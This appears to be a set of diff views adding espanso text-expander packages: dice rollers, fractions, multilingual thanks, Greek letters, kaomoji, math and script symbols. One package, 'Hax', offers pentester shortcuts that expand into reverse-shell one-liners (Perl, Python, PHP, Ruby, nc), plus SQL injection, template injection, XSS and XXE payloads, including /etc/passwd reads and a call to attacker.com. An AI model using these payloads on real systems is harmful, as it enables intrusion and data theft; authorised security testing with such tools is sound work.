- "6"
- "7"
- "8"
- triggers: [".roll d10", ".r d10"]
word: true
replace: "d10: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- triggers: [".roll d12", ".r d12"]
word: true
replace: "d12: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "11"
- "12"
- triggers: [".roll d20", ".r d20"]
word: true
replace: "d20: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "11"
- "12"
- "13"
- "14"
- "15"
- "16"
- "17"
- "18"
- "19"
- "20"
- triggers: [".roll d100", ".roll d00", ".r d100", ".r d00"]
word: true
replace: "d100: {{output1}}{{output2}}"
vars:
- name: output1
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- name: output2
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"
- triggers: [".roll d1000", ".roll d000", ".r d1000", ".r d000"]
word: true
replace: "d1000: {{output1}}{{output2}}{{output3}}"
vars:
- name: output1
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- name: output2
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"
- name: output3
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"

View File

@@ -0,0 +1,37 @@
This package will allow you to use unicode fractions in your typing:
:1/4 → ¼
:1/2 → ½
:3/4 → ¾
:1/7 → ⅐
:1/9 → ⅑
:1/10 → ⅒
:1/3 → ⅓
:2/3 → ⅔
:1/5 → ⅕
:2/5 → ⅖
:3/5 → ⅗
:4/5 → ⅘
:1/6 → ⅙
:5/6 → ⅚
:1/8 → ⅛
:3/8 → ⅜
:5/8 → ⅝
:7/8 → ⅞

View File

@@ -0,0 +1,7 @@
author: Andrew Pastuszak
description: A package allowing you to use unicode fractions
name: espanso-fractions
title: Unicode Fractions
version: 0.1.0
homepage: "https://github.com/apastuszak/espanso-package-fractions"
tags: ["symbols", "numbers", "fractions", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,37 @@
matches:
- trigger: ":1/4"
replace: "¼"
- trigger: ":1/2"
replace: "½"
- trigger: ":3/4"
replace: "¾"
- trigger: ":1/7"
replace: "⅐"
- trigger: ":1/9"
replace: "⅑"
- trigger: ":1/10"
replace: "⅒"
- trigger: ":1/3"
replace: "⅓"
- trigger: ":2/3"
replace: "⅔"
- trigger: ":1/5"
replace: "⅕"
- trigger: ":2/5"
replace: "⅖"
- trigger: ":3/5"
replace: "⅗"
- trigger: ":4/5"
replace: "⅘"
- trigger: ":1/6"
replace: "⅙"
- trigger: ":5/6"
replace: "⅚"
- trigger: ":1/8"
replace: "⅛"
- trigger: ":3/8"
replace: "⅜"
- trigger: ":5/8"
replace: "⅝"
- trigger: ":7/8"
replace: "⅞"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,72 @@
# 🌐 Foreign Thanks
[Espanso](https://espanso.org) package to easy say Thanks in different languages.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-foreign-thanks/blob/main/assets/demo.gif)
</h1>
## Installation
Make sure you have already installed [Espanso](https://espanso.org/install) first.
### Install with `espanso install`
> https://hub.espanso.org/foreign-thanks
```sh
espanso install foreign-thanks
```
That's all. You can start using the package.
## Triggers
| Keywords | Replaced |
| -------- | -------- |
| `:arthx`, `:arabicthx`, `:arabicthanks` | شكرا |
| `:hythx`, `:armenianthx`, `:armenianthanks` | Շնորհակալություն |
| `:euthx`, `:basquethx`, `:basquethanks` | Eskerrik asko |
| `:bethx`, `:belarusianthx`, `:belarusianthanks` | Дзякуй |
| `:zhthx`, `:chinesethx`, `:chinesethanks` | 谢谢 |
| `:csthx`, `:czechthx`, `:czechthanks` | Díky |
| `:nlthx`, `:dutchthx`, `:dutchthanks` | Dank je wel |
| `:tlthx`, `:filipinothx`, `:filipinothanks` | Salamat |
| `:fithx`, `:finnishthx`, `:finnishthanks` | Kiitos |
| `:frthx`, `:frenchthx`, `:frenchthanks` | Merci |
| `:dethx`, `:germanthx`, `:germanthanks` | Danke |
| `:hithx`, `:hindithx`, `:hindithanks` | धन्यवाद |
| `:isthx`, `:icelandicthx`, `:icelandicthanks` | Takk |
| `:idthx`, `:indonesianthx`, `:indonesianthanks` | Terima kasih |
| `:itthx`, `:italianthx`, `:italianthanks` | Grazie |
| `:jathx`, `:japanesethx`, `:japanesethanks` | ありがとうございます |
| `:tlhthx`, `:klingonthx`, `:klingonthanks` | Qa tlho' |
| `:kothx`, `:koreanthx`, `:koreanthanks` | 감사합니다 |
| `:psthx`, `:pashtothx`, `:pashtothanks` | ډیره مننه |
| `:fathx`, `:persianthx`, `:persianthanks` | متشکرم |
| `:plthx`, `:polishthx`, `:polishthanks` | Dzięki |
| `:rothx`, `:romanianthx`, `:romanianthanks` | Multumesc |
| `:esthx`, `:spanishthx`, `:spanishthanks` | Gracias |
| `:svthx`, `:swedishthx`, `:swedishthanks` | Tack |
| `:trthx`, `:turkishthx`, `:turkishthanks` | Sağol |
| `:ukthx`, `:ukrainianthx`, `:ukrainianthanks` | Дякую |
| `:urthx`, `:urduthx`, `:urduthanks` | شکریہ |
| `:vithx`, `:vietnamesethx`, `:vietnamesethanks` | Cảm ơn |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks)
## Credits
Inspired by [Foreign Thanks](https://snippets.textexpander.com/group/a3c4abfa3e21d9d77cd0542d6ce69f20) for [Text Expander](https://textexpander.com) app
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-foreign-thanks/blob/master/LICENSE)

View File

@@ -0,0 +1,11 @@
author: Ihor Kopach (https://kopach.dev)
description: 🌐 Espanso package to easy say Thanks in different languages
homepage: https://github.com/kopach/espanso-package-foreign-thanks#readme
name: foreign-thanks
tags:
- greetings
- languages
- phrases
- communication
title: Foreign Thanks
version: 1.1.0

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,141 @@
matches:
- replace: شكرا
triggers:
- ':arthx'
- ':arabicthx'
- ':arabicthanks'
- replace: Շնորհակալություն
triggers:
- ':hythx'
- ':armenianthx'
- ':armenianthanks'
- replace: Eskerrik asko
triggers:
- ':euthx'
- ':basquethx'
- ':basquethanks'
- replace: Дзякуй
triggers:
- ':bethx'
- ':belarusianthx'
- ':belarusianthanks'
- replace: 谢谢
triggers:
- ':zhthx'
- ':chinesethx'
- ':chinesethanks'
- replace: Díky
triggers:
- ':csthx'
- ':czechthx'
- ':czechthanks'
- replace: Dank je wel
triggers:
- ':nlthx'
- ':dutchthx'
- ':dutchthanks'
- replace: Salamat
triggers:
- ':tlthx'
- ':filipinothx'
- ':filipinothanks'
- replace: Kiitos
triggers:
- ':fithx'
- ':finnishthx'
- ':finnishthanks'
- replace: Merci
triggers:
- ':frthx'
- ':frenchthx'
- ':frenchthanks'
- replace: Danke
triggers:
- ':dethx'
- ':germanthx'
- ':germanthanks'
- replace: धन्यवाद
triggers:
- ':hithx'
- ':hindithx'
- ':hindithanks'
- replace: Takk
triggers:
- ':isthx'
- ':icelandicthx'
- ':icelandicthanks'
- replace: Terima kasih
triggers:
- ':idthx'
- ':indonesianthx'
- ':indonesianthanks'
- replace: Grazie
triggers:
- ':itthx'
- ':italianthx'
- ':italianthanks'
- replace: ありがとうございます
triggers:
- ':jathx'
- ':japanesethx'
- ':japanesethanks'
- replace: Qa tlho'
triggers:
- ':tlhthx'
- ':klingonthx'
- ':klingonthanks'
- replace: 감사합니다
triggers:
- ':kothx'
- ':koreanthx'
- ':koreanthanks'
- replace: ډیره مننه
triggers:
- ':psthx'
- ':pashtothx'
- ':pashtothanks'
- replace: متشکرم
triggers:
- ':fathx'
- ':persianthx'
- ':persianthanks'
- replace: Dzięki
triggers:
- ':plthx'
- ':polishthx'
- ':polishthanks'
- replace: Multumesc
triggers:
- ':rothx'
- ':romanianthx'
- ':romanianthanks'
- replace: Gracias
triggers:
- ':esthx'
- ':spanishthx'
- ':spanishthanks'
- replace: Tack
triggers:
- ':svthx'
- ':swedishthx'
- ':swedishthanks'
- replace: Sağol
triggers:
- ':trthx'
- ':turkishthx'
- ':turkishthanks'
- replace: Дякую
triggers:
- ':ukthx'
- ':ukrainianthx'
- ':ukrainianthanks'
- replace: شکریہ
triggers:
- ':urthx'
- ':urduthx'
- ':urduthanks'
- replace: Cảm ơn
triggers:
- ':vithx'
- ':vietnamesethx'
- ':vietnamesethanks'

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 José Ferreira
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,59 @@
# Available matches
| Trigger | Replace |
|-------------|-----------|
| :Alpha: | Α |
| :alpha: | α |
| :Beta: | Β |
| :beta: | β |
| :varbeta: | ϐ |
| :Delta: | Δ |
| :delta: | δ |
| :Epsilon: | Ε |
| :epsilon: | ϵ |
| :varepsilon | ε |
| :Phi: | Φ |
| :phi: | 𝜙 |
| :varphi: | φ |
| :Gamma: | Γ |
| :gamma: | γ |
| :Eta: | Η |
| :eta: | η |
| :Iota: | Ι |
| :iota: | ι |
| :Theta: | Θ |
| :theta: | θ |
| :vartheta: | ϑ |
| :Kappa: | Κ |
| :kappa: | κ |
| :varkappa | ϰ |
| :Lambda: | Λ |
| :lambda: | λ |
| :Mu: | Μ |
| :mu: | μ |
| :Nu: | Ν |
| :nu: | ν |
| :Omicron: | Ο |
| :omicron: | ο |
| :Pi: | Π |
| :pi: | π |
| :varpi: | ϖ |
| :Chi: | Χ |
| :chi: | χ |
| :Rho: | Ρ |
| :rho: | ρ |
| :varrho | ϱ |
| :Sigma: | Σ |
| :sigma: | σ |
| :varsigma: | ς |
| :Tau: | Τ |
| :tau: | τ |
| :Upsilon: | Υ |
| :upsilon: | υ |
| :Omega: | Ω |
| :omega: | ω |
| :Xi: | Ξ |
| :xi: | ξ |
| :Psi: | Ψ |
| :psi: | ψ |
| :Zeta: | Ζ |
| :zeta: | ζ |

View File

@@ -0,0 +1,8 @@
author: "Jos\xE9 Ferreira"
description: A package containing most of the Greek alphabet and some common variatons
using Latex based naming scheme
name: greek-letters-improved
title: Greek Letters based on Latex
version: 0.1.0
homepage: "https://github.com/jpmvferreira/espanso-mega-pack"
tags: ["greek", "languages", "latex", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,174 @@
matches:
- triggers: [":Alpha:", ":A:"]
replace: "Α"
- triggers: [":alpha:", ":a:"]
replace: "α"
- triggers: [":Beta:", ":B:"]
replace: "Β"
- triggers: [":beta:", ":b:"]
replace: "β"
- triggers: [":varbeta:", ":vb:"]
replace: "ϐ"
- triggers: [":Delta:", ":D:"]
replace: "Δ"
- triggers: [":delta:", ":d:"]
replace: "δ"
- triggers: [":Epsilon:", ":E:"]
replace: "Ε"
- triggers: [":epsilon:", ":e:"]
replace: "ϵ"
- triggers: [":varepsilon", ":ve:"]
replace: "ε"
- triggers: [":Phi:", ":P:"]
replace: "Φ"
- triggers: [":phi:", ":p:"]
replace: "𝜙"
- triggers: [":varphi:", ":vp:"]
replace: "φ"
- triggers: [":Gamma:", ":G:"]
replace: "Γ"
- triggers: [":gamma:", ":g:"]
replace: "γ"
- triggers: [":Eta:", ":E:"]
replace: "Η"
- triggers: [":eta:", ":e:"]
replace: "η"
- triggers: [":Iota:", ":I:"]
replace: "Ι"
- triggers: [":iota:", ":i:"]
replace: "ι"
- triggers: [":Theta:", ":T:"]
replace: "Θ"
- triggers: [":theta:", ":t:"]
replace: "θ"
- triggers: [":vartheta:", ":vt:"]
replace: "ϑ"
- triggers: [":Kappa:", ":K:"]
replace: "Κ"
- triggers: [":kappa:", ":k:"]
replace: "κ"
- triggers: [":varkappa", ":vk:"]
replace: "ϰ"
- triggers: [":Lambda:", ":L:"]
replace: "Λ"
- triggers: [":lambda:", ":l:"]
replace: "λ"
- triggers: [":Mu:", ":M:"]
replace: "Μ"
- triggers: [":mu:", ":m:"]
replace: "μ"
- triggers: [":Nu:", ":N:"]
replace: "Ν"
- triggers: [":nu:", ":n:"]
replace: "ν"
- trigger: ":Omicron:"
replace: "Ο"
- trigger: ":omicron:"
replace: "ο"
- trigger: ":Pi:"
replace: "Π"
- trigger: ":pi:"
replace: "π"
- triggers: [":varpi:", ":vpi:"]
replace: "ϖ"
- triggers: [":Chi:", ":C:"]
replace: "Χ"
- triggers: [":chi:", ":c:"]
replace: "χ"
- triggers: [":Rho:", ":R:"]
replace: "Ρ"
- triggers: [":rho:", ":r:"]
replace: "ρ"
- triggers: [":varrho", ":vr:"]
replace: "ϱ"
- triggers: [":Sigma:", ":S:"]
replace: "Σ"
- triggers: [":sigma:", ":s:"]
replace: "σ"
- triggers: [":varsigma:", ":vs:"]
replace: "ς"
- trigger: ":Tau:"
replace: "Τ"
- trigger: ":tau:"
replace: "τ"
- triggers: [":Upsilon:", ":U:"]
replace: "Υ"
- triggers: [":upsilon:", ":u:"]
replace: "υ"
- triggers: [":Omega:", ":O:"]
replace: "Ω"
- triggers: [":omega:", ":o:"]
replace: "ω"
- trigger: ":Xi:"
replace: "Ξ"
- trigger: ":xi:"
replace: "ξ"
- trigger: ":Psi:"
replace: "Ψ"
- trigger: ":psi:"
replace: "ψ"
- triggers: [":varPsi:", ":vPsi:"]
replace: "Ⲯ"
- triggers: [":varpsi:", ":vpsi:"]
replace: "ⲯ"
- triggers: [":Zeta:", ":Z:"]
replace: "Ζ"
- triggers: [":zeta:", ":z:"]
replace: "ζ"

View File

@@ -0,0 +1,5 @@
# Hax - A collection of shortcuts for hackers/penetration testers
All the payloads included in `Hax` originate from the following sources, which I would like to thank:
- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

View File

@@ -0,0 +1,6 @@
name: "hax"
title: "Hax"
description: Penetration testing utilities and replacements
version: 0.1.0
author: Nick Aliferopoulos
tags: ["hax", "hack", "hacking", "penetration", "sqli", "xss", "shell", "ssti", "xxe"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,58 @@
matches:
# Reverse Shells
- trigger: ":rev-perl"
replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
- trigger: ":rev-python"
replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
- trigger: ":rev-php"
replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
- trigger: ":rev-ruby"
replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
- trigger: ":rev-nc"
replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f"
# SQL Injection Payloads
- trigger: ":sqli-poly"
replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/"
# Server-side Template Injection Payloads
- trigger: ":ssti-asp"
replace: "@(1+2)"
- trigger: ":ssti-el"
replace: "${1+1}"
- trigger: ":ssti-el-alt"
replace: "#{1+1}"
- trigger: ":ssti-groovy"
replace: "${\"http://www.google.com\".toURL().text}"
- trigger: ":ssti-groovy-alt"
replace: "${new URL(\"http://www.google.com\").getText()}"
- trigger: ":ssti-jinja"
replace: "{{4*4}}[[5*5]]"
- trigger: ":ssti-ruby-file"
replace: "<%= File.open('/etc/passwd').read %>"
- trigger: ":ssti-ruby-dir"
replace: "<%= Dir.entries('/') %>"
- trigger: ":ssti-smarty"
replace: "{$smarty.version}"
- trigger: ":ssti-twig"
replace: "{{dump(app)}}"
- trigger: ":ssti-velocity"
replace: "#set($str=$class.inspect(\"java.lang.String\").type)"
# Cross-site Scripting Payloads
- trigger: ":xss-basic"
replace: "<script>confirm`1`</script>"
- trigger: ":xss-img"
replace: "<img src=a onerror=confirm`1`/>"
- trigger: ":xss-dom"
replace: "#\"><img src=/ onerror=alert(1)>"
- trigger: ":xss-markdown"
replace: "[a](javascript:prompt(1))"
- trigger: ":xss-poly"
replace: "\" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//"
# External XML Entity Injection Payloads
- trigger: ":xxe-file"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"
- trigger: ":xxe-http"
replace: "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://attacker.com'>]><root>&test;</root>"

View File

@@ -0,0 +1 @@
A package providing Kaimoji expansions.

View File

@@ -0,0 +1,7 @@
author: Ian Pringle
description: A package providing Kaimoji expansions
name: kaimoji
title: Kaimoji
version: 0.1.0
homepage: "https://github.com/pard68/kaimoji"
tags: ["fun", "meme", "emoji", "kaimoji", "ascii"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,27 @@
matches:
- trigger: ":shrug"
replace: "¯\_(ツ)_/¯"
- trigger: ":lenny"
replace: "( ͡° ͜ʖ ͡°)"
- trigger: ":fliptable"
replace: "(╯°□°)╯︵ ┻━┻"
- trigger: ":disapprove"
replace: "ಠ_ಠ"
- trigger: ":denko"
replace: "(´・ω・`)"
- trigger: ":owo"
replace: "ʘwʘ"
- trigger: ":hello"
replace: "( ・ω・)ノ"
- trigger: ":cry"
replace: "ಥ益ಥ"
- trigger: ":mad"
replace: "(๑•̀д•́๑)"
- trigger: ":awk"
replace: "( ་ ⍸ ་ )"
- trigger: ":pika"
replace: "(๑◕ܫ◕๑)"
- trigger: ":donger"
replace: "ヽ༼ຈل͜ຈ༽ノ"
- trigger: ":sparkle"
replace: "✧・゚: *✧・゚:*  $|$  *:・゚✧*:・゚✧"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 José Ferreira
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,48 @@
# Available matches
| Trigger | Replace |
|--------------|-----------|
| :ket: | ⟩ |
| :bra: | ⟨ |
| :identity: | 𝟙 |
| :sqrt: | √ |
| :int: | ∫ |
| :iint: | ∬ |
| :iiint: | ∭ |
| :oint: | ∮ |
| :oint: | ∯ |
| :oint: | ∰ |
| :sum: | ∑ |
| :prod: | ∏ |
| :Box: | □ |
| :cdot: | ⋅ |
| :pm: | ± |
| :mp: | ∓ |
| :equiv: | ≡ |
| :nequiv: | ≢ |
| :neq: | ≠ |
| :approx: | ≈ |
| :leq: | ≤ |
| :geq: | ≥ |
| :gg: | ≫ |
| :ll: | ≪ |
| :leftarrow: | ← |
| :rightarrow: | → |
| :implies: | ⇒ |
| :iff: | ⇔ |
| :infty: | ∞ |
| :nabla: | ∇ |
| :partial: | 𝜕 |
| :forall: | ∀ |
| :exists: | ∃ |
| :nexists: | ∄ |
| :hslash: | ℏ |
| :emptyset: | ∅ |
| :varnothing: | ∅ |
| :in: | ∈ |
| :notin: | ∉ |
| :smallin: | ∊ |
| :land: | ∧ |
| :lor: | |
| :propto: | ∝ |
| :neg: | ¬ |
| :times: | × |

View File

@@ -0,0 +1,7 @@
author: "Jos\xE9 Ferreira"
description: Displays math symbols using Latex based naming scheme
name: math-symbols
title: Math symbols based on Latex
version: 0.1.0
homepage: "https://github.com/jpmvferreira/espanso-mega-pack"
tags: ["math", "symbols"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,135 @@
matches:
- trigger: ":ket:"
replace: "⟩"
- trigger: ":bra:"
replace: "⟨"
- trigger: ":identity:"
replace: "𝟙"
- trigger: ":sqrt:"
replace: "√"
- trigger: ":int:"
replace: "∫"
- trigger: ":iint:"
replace: "∬"
- trigger: ":iiint:"
replace: "∭"
- trigger: ":oint:"
replace: "∮"
- trigger: ":oint:"
replace: "∯"
- trigger: ":oint:"
replace: "∰"
- trigger: ":sum:"
replace: "∑"
- trigger: ":prod:"
replace: "∏"
- trigger: ":Box:"
replace: "□"
- trigger: ":cdot:"
replace: "⋅"
- trigger: ":pm:"
replace: "±"
- trigger: ":mp:"
replace: "∓"
- trigger: ":equiv:"
replace: "≡"
- trigger: ":nequiv:"
replace: "≢"
- trigger: ":neq:"
replace: "≠"
- trigger: ":approx:"
replace: "≈"
- trigger: ":leq:"
replace: "≤"
- trigger: ":geq:"
replace: "≥"
- trigger: ":gg:"
replace: "≫"
- trigger: ":ll:"
replace: "≪"
- trigger: ":leftarrow:"
replace: "←"
- trigger: ":rightarrow:"
replace: "→"
- trigger: ":implies:"
replace: "⇒"
- trigger: ":iff:"
replace: "⇔"
- trigger: ":infty:"
replace: "∞"
- trigger: ":nabla:"
replace: "∇"
- trigger: ":partial:"
replace: "𝜕"
- trigger: ":forall:"
replace: "∀"
- trigger: ":exists:"
replace: "∃"
- trigger: ":nexists:"
replace: "∄"
- trigger: ":hslash:"
replace: "ℏ"
- trigger: ":emptyset:"
replace: "∅"
- trigger: ":varnothing:"
replace: "∅"
- trigger: ":in:"
replace: "∈"
- trigger: ":notin:"
replace: "∉"
- trigger: ":smallin:"
replace: "∊"
- trigger: ":land:"
replace: "∧"
- trigger: ":lor:"
replace: ""
- trigger: ":propto:"
replace: "∝"
- trigger: ":neg:"
replace: "¬"
- trigger: ":times:"
replace: "×"

View File

@@ -0,0 +1 @@
A package for [espanso](https://espanso.org/) containing some mathematical symbols such as for Boolean and set operations which aren't always readily available otherwise.

View File

@@ -0,0 +1,7 @@
author: Dian M Fay
description: Mathematical symbols such as for Boolean and set operations
name: math
title: Math
version: 0.1.0
homepage: "https://github.com/dmfay/espanso-math"
tags: ["math", "symbols"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,62 @@
# Math
matches:
# Booleans
- trigger: ":and"
replace: "∧"
- trigger: ":or"
replace: ""
- trigger: ":xor"
replace: "⩛"
# Propositions
- trigger: ":not"
replace: "¬"
- trigger: ":impl"
replace: "⇒"
- trigger: ":equiv"
replace: "⇔"
# Sets
- trigger: ":forall"
replace: "∀"
- trigger: ":exist"
replace: "∃"
- trigger: ":inset"
replace: "∈"
- trigger: ":notin"
replace: "∉"
- trigger: ":niset"
replace: "∋"
- trigger: ":notni"
replace: "∌"
- trigger: ":subset"
replace: "⊂"
- trigger: ":subseq"
replace: "⊆"
- trigger: ":supset"
replace: "⊃"
- trigger: ":supseq"
replace: "⊇"
- trigger: ":union"
replace: ""
- trigger: ":intersect"
replace: "∩"
# Proofs
- trigger: ":therefore"
replace: "∴"
- trigger: ":because"
replace: "∵"
- trigger: ":qed"
replace: "■"
# Misc
- trigger: ":cong"
replace: "≅"
- trigger: ":sqrt"
replace: "√"
- trigger: ":approx"
replace: "≈"
- trigger: ":sum"
replace: "∑"
- trigger: ":integral"
replace: "∫"
- trigger: ":dagger"
replace: "†"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,130 @@
# 𝒮𝒸𝓇𝒾𝓅𝓉 𝓁𝓉𝓉𝓇𝓈
[Espanso](https://espanso.org) package to easy write script letters.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-script-letters/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-script-letters/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;sA` | `𝒜` |
| `;sB` | `` |
| `;sC` | `𝒞` |
| `;sD` | `𝒟` |
| `;sE` | `` |
| `;sF` | `` |
| `;sG` | `𝒢` |
| `;sH` | `` |
| `;sI` | `` |
| `;sJ` | `𝒥` |
| `;sK` | `𝒦` |
| `;sL` | `` |
| `;sM` | `` |
| `;sN` | `𝒩` |
| `;sO` | `𝒪` |
| `;sP` | `𝒫` |
| `;sQ` | `𝒬` |
| `;sR` | `` |
| `;sS` | `𝒮` |
| `;sT` | `𝒯` |
| `;sU` | `𝒰` |
| `;sV` | `𝒱` |
| `;sW` | `𝒲` |
| `;sX` | `𝒳` |
| `;sY` | `𝒴` |
| `;sZ` | `𝒵` |
| `;sa` | `𝒶` |
| `;sb` | `𝒷` |
| `;sc` | `𝒸` |
| `;sd` | `𝒹` |
| `;se` | `` |
| `;sf` | `𝒻` |
| `;sg` | `` |
| `;sh` | `𝒽` |
| `;si` | `𝒾` |
| `;sj` | `𝒿` |
| `;sk` | `𝓀` |
| `;sl` | `𝓁` |
| `;sm` | `𝓂` |
| `;sn` | `𝓃` |
| `;so` | `` |
| `;sp` | `𝓅` |
| `;sq` | `𝓆` |
| `;sr` | `𝓇` |
| `;ss` | `𝓈` |
| `;st` | `𝓉` |
| `;su` | `𝓊` |
| `;sv` | `𝓋` |
